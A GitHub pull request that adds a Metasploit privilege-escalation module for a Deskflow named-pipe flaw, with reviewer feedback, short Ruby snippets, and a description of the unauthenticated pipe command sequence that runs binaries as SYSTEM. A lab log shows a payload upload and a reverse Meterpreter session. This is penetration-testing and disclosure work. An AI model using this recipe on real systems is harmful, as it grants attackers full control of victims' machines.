Add CVE-2026-41477: Deskflow unauthenticated IPC named pipe LPE#21363
Add CVE-2026-41477: Deskflow unauthenticated IPC named pipe LPE#21363blue0x1 wants to merge 4 commits intorapid7:masterfrom
Conversation
…un APIs, add documentation - Replace all cmd_exec/PowerShell wrappers with kernel32 Railgun calls (CreateFileW, WriteFile, CloseHandle) for named pipe communication - Use session.fs.file.expand_path instead of PowerShell ExpandEnvironmentVariables - Remove WMI launcher and intermediate PS1 scripts entirely - Restrict SessionTypes to meterpreter (required for Railgun) - Add documentation with verified scenario output
There was a problem hiding this comment.
I'm leaving this in case someone else comes along thinking it can be cleaned up like I did at first:
3.3.8 :001 > h = 0xFFFFFFFF
=> 4294967295
3.3.8 :002 > h.to_i
=> 4294967295
3.3.8 :003 > i = 0xFFFFFFFFFFFFFFFF
=> 18446744073709551615
There was a problem hiding this comment.
| include Msf::Exploit::FileDropper | |
| prepend Msf::Exploit::Remote::AutoCheck |
There was a problem hiding this comment.
This appears to just run check again?
Adding prepend Msf::Exploit::Remote::AutoCheck below the includes will run the check unless the user definitively opts out.
There was a problem hiding this comment.
Is this required? Would it not be simpler to increase the wfs_delay?
There was a problem hiding this comment.
Normally we place things like this at the top of the module as literals and call .freeze on them. Is there a reason to make them private?
There was a problem hiding this comment.
May be worth checking the return values, here.
There was a problem hiding this comment.
I also would not argue against this loop being in a try/catch block with an ensure handle close.
|
Also, per the linting test failures: |
There was a problem hiding this comment.
Pull request overview
Adds a new Metasploit local privilege escalation module and accompanying documentation for exploiting an unauthenticated Deskflow daemon named-pipe IPC interface that can execute arbitrary binaries as NT AUTHORITY\SYSTEM.
Changes:
- Introduces
windows/local/deskflow_ipc_lpeexploit module using Railgun-only named pipe I/O to trigger the IPC command sequence. - Drops and executes a generated EXE payload via
\\.\pipe\deskflow-daemon, with a configurable wait timeout for the elevated session. - Adds user-facing module documentation with verification steps and an example scenario.
Reviewed changes
Copilot reviewed 2 out of 2 changed files in this pull request and generated 3 comments.
| File | Description |
|---|---|
| modules/exploits/windows/local/deskflow_ipc_lpe.rb | Implements the Deskflow named pipe LPE exploit flow (pipe open/write, payload drop, session wait). |
| documentation/modules/exploit/windows/local/deskflow_ipc_lpe.md | Documents vulnerable versions, usage steps, options, and a validated example run. |
| ['CVE', '2026-41477'], | ||
| ['GHSA', 'GHSA-6rx5-g478-775c'] | ||
| ], | ||
| 'Platform' => 'win', |
There was a problem hiding this comment.
Module metadata leaves Privileged at the default false, but this exploit is intended to execute the payload as NT AUTHORITY\\SYSTEM. Set 'Privileged' => true in the module info so module filtering/UX correctly reflects that it yields elevated privileges.
| 'Platform' => 'win', | |
| 'Platform' => 'win', | |
| 'Privileged' => true, |
| def pipe_write(handle, msg) | ||
| session.railgun.kernel32.WriteFile(handle, msg, msg.bytesize, 4, nil) | ||
| end |
There was a problem hiding this comment.
pipe_write ignores the WriteFile result. If the write fails (e.g., broken pipe / access denied), the module will continue as if it succeeded and then just time out. Check the return value (and GetLastError/ErrorMessage) and fail early with a clear error; also consider closing the handle via ensure if you raise from inside the write loop.
There was a problem hiding this comment.
I'd think that the value would be implicitly returned? I guess I'm not sure if we get back an error or not from the railgun call?
| Rex::ThreadSafe.sleep(2) until (framework.sessions.keys - initial_sessions).any? || Time.now >= deadline | ||
|
|
||
| new_session_id = (framework.sessions.keys - initial_sessions).first | ||
| print_good("SYSTEM session #{new_session_id} opened") if new_session_id |
There was a problem hiding this comment.
If no new session is created before WaitTimeout expires, the module currently exits without indicating failure. Consider failing with a timeout error (or at least printing an error) when new_session_id is nil so operators can distinguish a real timeout from a successful run.
| print_good("SYSTEM session #{new_session_id} opened") if new_session_id | |
| fail_with(Failure::TimeoutExpired, "No SYSTEM session was created within #{datastore['WaitTimeout']} seconds") unless new_session_id | |
| print_good("SYSTEM session #{new_session_id} opened") |
Summary
This module exploits CVE-2026-41477, an unauthenticated IPC vulnerability in the Deskflow daemon (formerly Synergy). The daemon runs as
NT AUTHORITY\SYSTEMand exposes\\.\pipe\deskflow-daemonwith a world-accessible DACL. Any local unprivileged user can connect and sendcommand=<path>,elevate=yes, andstartto execute an arbitrary binary asSYSTEM without authentication.
Affected versions:
Changes
kernel32.CreateFileW,WriteFile,CloseHandle) — no PowerShell orcmd_execusagesession.fs.file.expand_pathSessionTypesrestricted tometerpreter(required for Railgun)Verification
Tested on Windows 10 22H2 x64 with Deskflow v1.26.0.134:
[msf](Jobs:0 Agents:1) exploit(windows/local/deskflow_ipc_lpe) >> run
[] Started reverse TCP handler on 172.16.126.1:4444
[] Uploading payload to C:\Users\katana\AppData\Local\Temp\9qPAnf67.exe...
[] Triggering escalation via deskflow-daemon named pipe...
[] Waiting 45s for SYSTEM session...
[] Sending stage (230982 bytes) to 172.16.126.135
[+] SYSTEM session 12 opened
[] Meterpreter session 12 opened (172.16.126.1:4444 -> 172.16.126.135:1370)
(Meterpreter 12)(C:\Windows\system32) > getuid
Server username: NT AUTHORITY\SYSTEM
References